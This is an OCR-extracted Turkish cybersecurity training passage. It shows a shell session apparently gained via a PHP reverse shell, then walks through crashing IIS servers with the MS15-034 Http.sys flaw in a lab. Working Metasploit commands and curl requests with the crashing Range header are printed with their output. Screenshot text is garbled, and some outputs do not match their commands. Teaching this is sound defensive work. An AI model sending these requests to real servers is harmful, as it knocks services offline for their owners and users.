/bin/sh: 0: can't access tty; job control turned off
Sls // Bulunulan dizindeki dosyalar listelenir.

€99.php
php_reverse_shell.php

Scd.. //  Ust dizine gecilir.
Sls // Bulunulan dizindeki dosyalar listelenir.

Listing collection */': succeeded.

AJAX 0 Mar 30 2015

CsS 0 Jun12 2015

DOM XSS Uygulamasi 0 Feb1317:25

HTML 0 Jan11 2014

JAVASCRIPT 0 Jun 29 2015

JOIN_SQL 0 Jan 29 2015

JQUERY 0 Jun 14 2015

PHP 0 Jun 19 2015

Phishing by Navigating Browser Tabs Uygulamasi 0 Feb 1317:25
Second Order Sql Injection Uygulamasi 0 Feb 13 17:25
Web Services Dersi 0 Dec 5 2015
WebGoat-5.2 0 Jul 12 2008

WebGoat-5.4 0 Apr27 2012

XML 0 Mar 30 2015

dropdownmenu 0 Nov 24 2014
drupdownmenu?2 0 Nov 24 2014

dvwa 0 Oct 5 2015
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dvws 0 Feb 26 2016
hollanda 0 Aug 9 2015
html 0 Feb 14 15:18
login_page 0 Nov 30 2014
mutillidae 0 Jul 22 2015
referans 0 Jan 17 2014
saldirganinSitesi 0 Jan 22 2016
slider 0 May 8 2016
slider2 0 May 8 2016

specialTopicsDersi

uploadProcess 0 Jul 23 2015
webdav 0 Mar 8 15:58
zendframework 0 Dec 7 2014
*DavlLock 12288 Mar 7 13:01

*aramabutonu.html
*aramabutonu2.html
*deneme.html
*file_processing.txt
*guzelBirTabloYapisi.html
*info.php

*isiklikutu.html
*jyiBirMenu.html
*iyiBirMenu2.html
*menuDenemesi.html
*rename2.txt

*sifirdan agilir meni denemesi.html
*suleyman.html

6 Jan 23 2014

23 Sep 3 2014
260 Sep 12 2014

0 Jan 27 2014

*test.php 0 Jan 23 2014
*turkce.html 9 Jan 27 2014
*wget.php 372 May 23 2016

0 May 20 20165

1217 Apr 20 2014
1784 Jul 17 2014
364 May 18 2015

1059 Aug 22 2014
981 Aug 22 2014
2145 Sep 21 2014

2092 Aug 10 2014

1657 Mar 26 2015
7569 May 16 2017

Goruldigu Gzere web sitesinin kdk dizine gegmis bulunmaktayiz. Boylelikle hedef web sitesini

hack'leyebilir veya
gerceklestirebiliriz.

sistem klasorlerinin  oldugu

Scd..
Sls

backups
cache
crash
lib

local
lock

log
mail

Ust dizine c¢ikarak daha farkli

eylemler
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metrics
opt

run
spool
tmp
WWwW
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WEB SUNUCUYA MAVI EKRAN VERDIREREK DOS YAPMA
a. Windows Server 2008 R2 'ye Mavi Ekran Verdirme
(+) Bu baslik birebir denenmistir ve basariyla uygulanmustir.
Bu yazida OSCP Kali sanal makinasindan Windows Server 2008 R2 sanal makinasina mavi ekran
verdirme islemi yapilacaktir. Boylece Windows Server 2008 R2 sanal makinasi mavi ekran verdiginde
servis disi kalacagindan hizmet olarak sundugu internet sitesine erisim engellenmis olacaktir.
Gereksinimler

-0OSCPKali( Downloads / pwk-kali-vm.7z) // Saldirgan

- Windows Server 2008 R2 // Web Sunucusu

Simdi 6ncelikle hedef web sunucusunun ip'sini 6grenelim.

Windows Server Sanal Makinasi:

o

Recyde Bin

[en. Command Prompt

Windows IP Configuration

ol | B & ) [ml+ e e o, -

Hedef web sunucusu ip'si 172.16.3.128 imis. Ardindan OSCP Kali sanal makinasindan hedef web
sunucusuna baglanalim.
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OSCP Kali Sanal Makinasi:

11S7 - Iceweasel (o - ]
s <\
€ @ 172163128 e | [ search T 9 3 A e =

5 Most Visitedv  JllOffensive Security N\ Kali Linux "8 Kali Docs W\ Kali Tools KBExploit-DB Wy Aircrack-ng

1S

internet information services

GoOrildiugu tGzere OSCP Kali sanal makinasindan hedef web sunucusunun sundugu internet sitesine
erisim yapabilmekteyiz. Simdi OSCP Kali sanal makinasindan metasploit kullanarak hedef web
sunucusuna mavi ekran verdirelim. Boylece Kali'den hedef web sitesine erisemedigimizi, yani hedef
web sitesinin servis disi kaldigini gérelim.

OSCP Kali

> msfconsole

> use auxiliary/dos/http/ms15_034_ulonglongadd

>set RHOSTS 172.16.3.128

> set TARGETURI /welcome.png // Windows Server 2008 'deki resim
>run

Not: Saldirinin ise yaramasi i¢in hedef sistemdeki statik bir kaynagin talep edilmesi
gerekmektedir. Bu nedenle TARGETURI ile hedef sistemdeki statik bir kaynak
(resim, css dosyasi,... vs) segilir.

Output:
[*] DOS request sent.
[*] Scanned 1 of 1 host (100% complete).
[*] Auxiliary module execution completed.

Modiil ¢alistiktan sonra Windows Server 2008'in ekranina bakildiginda mavi ekran goriilecektir.

TUBITAK — BILGEM — Siber Guvenlik Enstitus

74



TASNIF DISI Web Giivenligi Ile Tanisma (Egt. Materyl.)

Windows Server Makinasi:

and windows has bee down to prewvent damage

dnstall
manufa

echnical information:

JOEDS5000, Da

Dolayisiyla OSCP Kali'den hedef web sayfasina tekrar erismek istedigimizde erisim
gerceklesmeyecektir.

OSCP Kali Makinast:

Applications ~ Places v ) lceweasel ~
Problem loading page - Iceweasel (- o -]
kid Problem loading page  x -
<« 172.16.3.128 B8 U 3 A O 9=

[ Most Visited Pl Offensive Security “a Kali Linux "8 Kali Docs “a Kali Tools KBExploit-DB Wy Aircrack-ng

(D Unable to connect

Iceweasel can't establish a connection to the server at 172.16.3.128
e The site could be temporarily unavailable or too busy. Try again in a few
moments

e If you are unable to load any pages, check your computer’s network
connecuon.

e If your computer or network is protected by a firewall or proxy, make sure
that Iceweasel is permitted to access the Web.

Try Again
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Boylece bir metasploit modulii kullanarak hedef web sitesini servis disi birakmis olduk. Hedef web
sunucusu mavi ekran ile kullanicilarina hizmet veremez duruma geldigi i¢in yaptigimiz bu saldiriya
DOS saldirisi adi verilir.

ms15_ 034 ulonglongadd modiiliinden etkilenen siiriimler Windows Server 2008 R2 (ki bu makalede

bu windows strimiine saldiri yapilmistir), Windows Server 2012, Windows Server 2012 R2, Windows
7, Windows 8 ve Windows 8.1'dir.

b. Windows Server 2012 R2 SP2 'ye Mavi Ekran Verdirme

(+) Bu baslik birebir denenmistir ve basariyla uygulanmistir.

Bu baslik altinda Kali 2016 sanal makinasindan Windows Server 2012 R2 SP2 sanal makinasina mavi
ekran verdirme islemi yapilacaktir. Boylece Windows Server 2012 R2 SP2 sanal makinasi mavi ekran
verdiginde servis disi kalacagindan hizmet olarak sundugu internet sitesine erisim engellenmis
olacaktir.

Gereksinimler

- OSCP Kali ( Downloads / pwk-kali-vm.7z) // Saldirgan
- Windows Server 2012 R2 SP2 // Web Sunucusu

Simdi 6ncelikle hedef web sunucusunun ip'sini 6grenelim.

Windows Server 2012 Sanal Makinasi:

Ea d - n *}]‘Ptb 'I]TZ!;!HC
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Hedef web sunucusu ip'si 172.16.3.128 imis. Ardindan OSCP Kali sanal makinasindan hedef web
sunucusuna baglanalim.

OSCP Kali Sanal Makinasi:

1IS Windows Server - Mozilla Firefox (Build 20170805204109)

1IS Windows Server
€ @ 17216375 ¢ @ Q Sear o8B 4+ f# U ev I

) 5 Most Visitedv & OSCP Student Control . [fOffensive Security "\ Kali Linux "\ Kali Docs "\ Kali Tools * Exploit-DB W Aircrack-ng

B8 Windows Server

Internet Information Services

Welcome Bienvenue | Tervetuloa

£»2% Benvenuto .-

) b” Bienvenido Hos geldiniz  oxan oo

Bem-vindt “
KaAweg :
Vitete Oploate T wBHEL|CH oxanosats | LIVOZOlOK
La e WD

P
Microsoft Willkomey en  Velkommen

Goruldigu lGzere OSCP Kali sanal makinasindan hedef web sunucusunun sundugu internet sitesine
erisim yapabilmekteyiz. Simdi OSCP Kali sanal makinasindan metasploit kullanarak hedef web
sunucusuna mavi ekran verdirelim. Béylece Kali'den hedef web sitesine erisemedigimizi, yani hedef
web sitesinin servis disi kaldigini gérelim.

OSCP Kali

> msfconsole

> use auxiliary/dos/http/ms15_034_ulonglongadd

>set RHOSTS 172.16.3.128

> set TARGETURI /iis-85.png // Windows Server 2012 'deki resim
>run

Not: Saldirinin ise yaramasi igin hedef sistemdeki statik bir kaynagin talep edilmesi
gerekmektedir. Bu nedenle TARGETURI ile hedef sistemdeki statik bir kaynak
(resim, css dosyasi,... vs) segilir.
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Output:
[*] DOS request sent.
[*] Scanned 1 of 1 host (100% complete).
[*] Auxiliary module execution completed.

Modiil galigtiktan sonra Windows Server 20012'nin ekranina bakildiginda mavi ekran gorilecektir.

Windows Server 2012 Makinasi:

collecting some error info, and then we'll restart for you. (6(

complete)

Dolayisiyla OSCP Kali'dan hedef web sayfasina tekrar erismek istedigimizde erisim
gerceklesmeyecektir.
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OSCP Kali Makinast:

u [
Problam loading page - Mozilla Firefox (Build 20170805204109) (- O -]
lad Problem loading page x| =+
€ @0 17216375 . = ear T e & @ =+ L =
. B Most Visited~ @ OSCP Student Control . [flOMensive Security " Kali Linux " Kali Docs %, Kali Tools % Exploit-DB ‘-’al[tl*(-‘ ng "
3
=
-
e ® Unable to connect
5~ Firefox can't establish a connection to the server at 172.16.3.75.
- * The site could be temporarily unavallable or too busy. Try again in a few moments.
. » If you are unable to load any heck your computer’s network connection
s * If your computer or netwaork is protected by a firewal| or prowy, make sure that Firefox is permitted 1o access the
Web,
Try Again

wwwLaircrack-na.ong

Boylece bir metasploit moduli kullanarak hedef web sitesini servis digi birakmis olduk. Hedef web
sunucusu mavi ekran ile kullanicilarina hizmet veremez duruma geldigi icin yaptigimiz bu saldiriya
DOS saldirisi ad verilir.

ms15_034_ulonglongadd modiliinden etkilenen strimler Windows Server 2008 R2 (ki bu makalede
bu windows striimiine saldiri yapilmistir), Windows Server 2012, Windows Server 2012 R2, Windows
7, Windows 8 ve Windows 8.1'dir.

Ekstra

(+) Bu baslik denenmistir ve basariyla uygulanmistir.

Bu saldirida (mavi ekran verdirme saldirisinda) hedef 1IS sunucusundaki Http.Sys Remote Code
Execution zafiyetinden faydalaniimistir. Bu zafiyet gonderilen 6zel http talepleri sonrasi
somdurulebilmektedir. Simdi bu 6zel http taleplerini modiille degil de elle olusturup génderelim.
Boylece hedef IS sunucusuna yine mavi ekran verdirelim.

Oncelikle hedef sistemde statik bir kaynak belirlememiz gerekmektedir. Bunun nedeni saldirinin
ancak hedef sistemden statik bir kaynak talep ettigimizde ise yariyor olusundadir. Dolayisiyla hedef
[IS sunucumuzdaki resim dosyasini kaynak olarak belirleyelim.
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http://172.16.3.136/welcome.png

Daha sonra HTTP talebimize Range header'ini 6zel bir deger ile ekleyelim

OSCP Kali Terminal:
> curl -v http://172.16.3.136/welcome.png -H "Range: bytes=0-18446744073709551615"
Output:

* Hostname was NOT found in DNS cache
* Trying 172.16.3.136...
* Connected to 172.16.3.136 (172.16.3.136) port 80 (#0)
> GET /welcome.png HTTP/1.1
> User-Agent: curl/7.35.0
> Host: 172.16.3.136
> Accept: */*
> Range: bytes=0-18446744073709551615
>
< HTTP/1.1 416 Requested Range Not Satisfiable
< Content-Type: image/png
< Last-Modified: Tue, 16 May 2017 16:32:37 GMT
< Accept-Ranges: bytes
< ETag: "e8893b762ced21:0"
* Server Microsoft-11S/7.5 is not blacklisted
< Server: Microsoft-11S/7.5
< X-Powered-By: ASP.NET
< Date: Tue, 16 May 2017 16:52:30 GMT
< Content-Length: 362
< Content-Range: bytes */184946
<
<IDOCTYPE HTML PUBLIC "-//W3C//DTD HTML
4.01//EN""http://www.w3.org/TR/html4/strict.dtd">
<HTML><HEAD><TITLE>Requested Range Not Satisfiable</TITLE>
<META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD>
<BODY><h2>Requested Range Not Satisfiable</h2>
<hr><p>HTTP Error 416. The requested range is not satisfiable.</p>
</BODY></HTML>
* Connection #0 to host 172.16.3.136 left intact

Boylece 6zel http talebimiz hedef sunucuya gidecektir. Http yaniti “HTTP/1.1 416 Requested Range
Not Satisfiable” bilgisine sahip olarak donerse hedef sistem blylk olasilikla zafiyete sahiptir deriz.
Gonderdigimiz http talebine karsin gelen http yaniti bu bilgiye sahip oldugundan bundan sonraki
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adim hedef sistemin zafiyetini sémirmektir. Bu islem icin http talebindeki Range header degeri 18-
18446744073709551615 ile doldurulur ve tekrar gonderilir.

OSCP Kali Terminal:
> curl -v http://172.16.3.136/welcome.png -H "Range: bytes=18-18446744073709551615"
Output:

* Hostname was NOT found in DNS cache

* Trying 172.16.3.136...

* Connected to 172.16.3.136 (172.16.3.136) port 80 (#0)
> GET /welcome.png HTTP/1.1

> User-Agent: curl/7.35.0

> Host: 172.16.3.136

> Accept: */*

> Range: bytes=18-18446744073709551615

>

AC

Boylece paketi gonderdigimizde hedef sistemin ekrani gidecektir ve mavi ekran verecektir. Dolayisiyla
dos islemi basariyla gerceklesmis olacaktir.

UYARI: Yukaridaki curl kodu ile hedef sistem bazen mavi ekran verirken bazen de vermemistir.
Dolayisiyla curl kodu ile mavi ekran verdirme islemi zaman zaman basarisiz olabilmektedir. Ancak curl
kodunu tekrar tekrar denemeler sonucu mavi ekran gelebilmektedir.

Not: curl ile Ubuntu 14.04 LTS'den Windows Server makinalarina saldiri paketi tekrar tekrar
gonderildiginde curl her defasinda patlamistir ve Ubuntu terminaline sagma sapan bircok karakter
yigmistir. Windows server ise yerli yerinde durmustur. Dolayisiyla saldiri islemi OSCP Kali'nin curl'ii ile
gerceklesebilmektedir.

Curl ile ayni islem Windows Server 2012 'ye denendiginde

OSCP Kali Terminal:
> curl -v http://172.16.3.75/iis-85.png -H "Range: bytes=0-18446744073709551615"
Output:

* Hostname was NOT found in DNS cache

* Trying 172.16.3.136...

* Connected to 172.16.3.136 (172.16.3.136) port 80 (#0)
> GET /welcome.png HTTP/1.1

> User-Agent: curl/7.35.0

> Host: 172.16.3.136
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> Accept: */*
> Range: bytes=0-18446744073709551615
>
< HTTP/1.1 416 Requested Range Not Satisfiable
< Content-Type: image/png
< Last-Modified: Tue, 16 May 2017 16:32:37 GMT
* Server Microsoft-11S/7.5 is not blacklisted
< Server: Microsoft-11S/7.5
< X-Powered-By: ASP.NET
< Date: Tue, 16 May 2017 16:52:30 GMT
< Content-Length: 362
< Content-Range: bytes */184946
<
<IDOCTYPE HTML PUBLIC "-//W3C//DTD HTML
4.01//EN""http://www.w3.org/TR/html4/strict.dtd">
<HTML><HEAD><TITLE>Requested Range Not Satisfiable</TITLE>
<META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD>
<BODY><h2>Requested Range Not Satisfiable</h2>
<hr><p>HTTP Error 416. The requested range is not satisfiable.</p>
</BODY></HTML>
* Connection #0 to host 172.16.3.136 left intact

OSCP Kali Terminal:
> curl -v http://172.16.3.75/iis-85.png -H "Range: bytes=18-18446744073709551615"
Output:

* Hostname was NOT found in DNS cache

* Trying 172.16.3.136...

* Connected to 172.16.3.136 (172.16.3.136) port 80 (#0)
> GET / iis-85.png HTTP/1.1

> User-Agent: curl/7.35.0

> Host: 172.16.3.136

> Accept: */*

> Range: bytes=18-18446744073709551615

>

AC

Windows Server 2012 (mavi ekran vermemistir belki ama) ekrani kitlenmistir. Dolayisiyla Kali'den
Windows Server 2012 IIS ana sayfasina erisilmeye calisildiginda sonug basarisiz olmustur. Yani DOS
basariyla gergeklestirilmistir.

Bu zafiyet lIS'in yikli oldugu Windows 7, Windows Server 2008 R2, Windows 8, Windows Server
2012, Windows 8.1, ve Windows Server 2012 R2 isletim sistemlerinin tamami icin gecerlidir.
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Http Range Baslig1 ile Neden Windows Sunucu Sistemler Mavi Ekran Aliyor?

Http Range basligina verilen baslangi¢ indis degerleri ve belirli bir bitis indis degeri ile talep
yapildiginda windows sunucularinin bazi sirimlerinde sistemsel crash gerceklesmektedir.

Ornegin windows server 2008 R2’ye yapilan http talebi sonrasi sunucu belirtilen araligin karsilanamaz
oldugu bilgisini vermisti:

Kali Linux 2018 Terminal:
> curl -v http://172.16.3.136/welcome.png -H "Range: bytes=0-18446744073709551615"
Output:

* Hostname was NOT found in DNS cache
* Trying 172.16.3.136...
* Connected to 172.16.3.136 (172.16.3.136) port 80 (#0)
> GET /welcome.png HTTP/1.1
> User-Agent: curl/7.35.0
> Host: 172.16.3.136
> Accept: */*
> Range: bytes=0-18446744073709551615
>
< HTTP/1.1 416 Requested Range Not Satisfiable
< Content-Type: image/png
< Last-Modified: Tue, 16 May 2017 16:32:37 GMT
< Accept-Ranges: bytes
< ETag: "e8893b762ced21:0"
* Server Microsoft-11S/7.5 is not blacklisted
< Server: Microsoft-11S/7.5
< X-Powered-By: ASP.NET
< Date: Tue, 16 May 2017 16:52:30 GMT
< Content-Length: 362
< Content-Range: bytes */184946
<
<IDOCTYPE HTML PUBLIC "-//W3C//DTD HTML
4.01//EN""http://www.w3.org/TR/html4/strict.dtd">
<HTML><HEAD><TITLE>Requested Range Not Satisfiable</TITLE>
<META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD>
<BODY><h2>Requested Range Not Satisfiable</h2>
<hr><p>HTTP Error 416. The requested range is not satisfiable.</p>
</BODY></HTML>
* Connection #0 to host 172.16.3.136 left intact

Sonra yapilan http talebinin range header’ indaki baslangic indis degeri olarak bu sefer 18 decimal
degeri girildiginde sunucu sistemsel crash vermisti:
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Kali Linux 2018 Terminal:
> curl -v http://172.16.3.136/welcome.png -H "Range: bytes=18-18446744073709551615"
Output:

* Hostname was NOT found in DNS cache

* Trying 172.16.3.136...

* Connected t0 172.16.3.136 (172.16.3.136) port 80 (#0)
> GET /welcome.png HTTP/1.1

> User-Agent: curl/7.35.0

> Host: 172.16.3.136

> Accept: */*

> Range: bytes=18-18446744073709551615

>

AC

Bu range degeri ile sistemin mavi ekran almasinin muhtemel nedeni sudur: 0 indisinden baslatilarak
yapilan range talebinde araligin gecersiz kabul edildigi bilgisi donmekteydi. Clinkii sonlanma indis
degeri 18446744073709551615nc1 byte (yani 16,777,210'nci terabyte)’'ti. Bu oldukca gecersiz bir
aralik degeri durumundadir. Bu genislikte bir dokiiman olmasi pek mimkin olmayacagi gibi bu
blyiklikte bir dokiimani kaldiracak sistem de pek miimkiin degildir. Fakat sistem bu aralik degerini
“degerlendirmis” ki gegersizdir yaniti dénmistiir. ikinci denemede baslangi¢ indis degeri (18nci byte
degeri) talep edilen dokiiman icerisinde bir yerlerdeki indis degeri oldugundan bu sefer dokiimani
acmak suretiyle aralk gecerliligi sorgusu yapilacaktir. Bu ise dokiimanin bellekteki konumuyla
beraber tasarak tim bellek adreslerine dogru kayan bir degerlendirme olacaktir ve bellek nihai
sonuna gelindiginde sistem beklenmedik bu durum karsisinda mavi ekran ile ¢alismayi durduracaktir.
Normalde olmasi gereken gecersiz aralik degeri alindiginda apache’nin uygulama kaynagi lzerinde
degerlendirme almayip bir kuralla gérmezden gelmesiydi ve 200 OK yaniti ile dok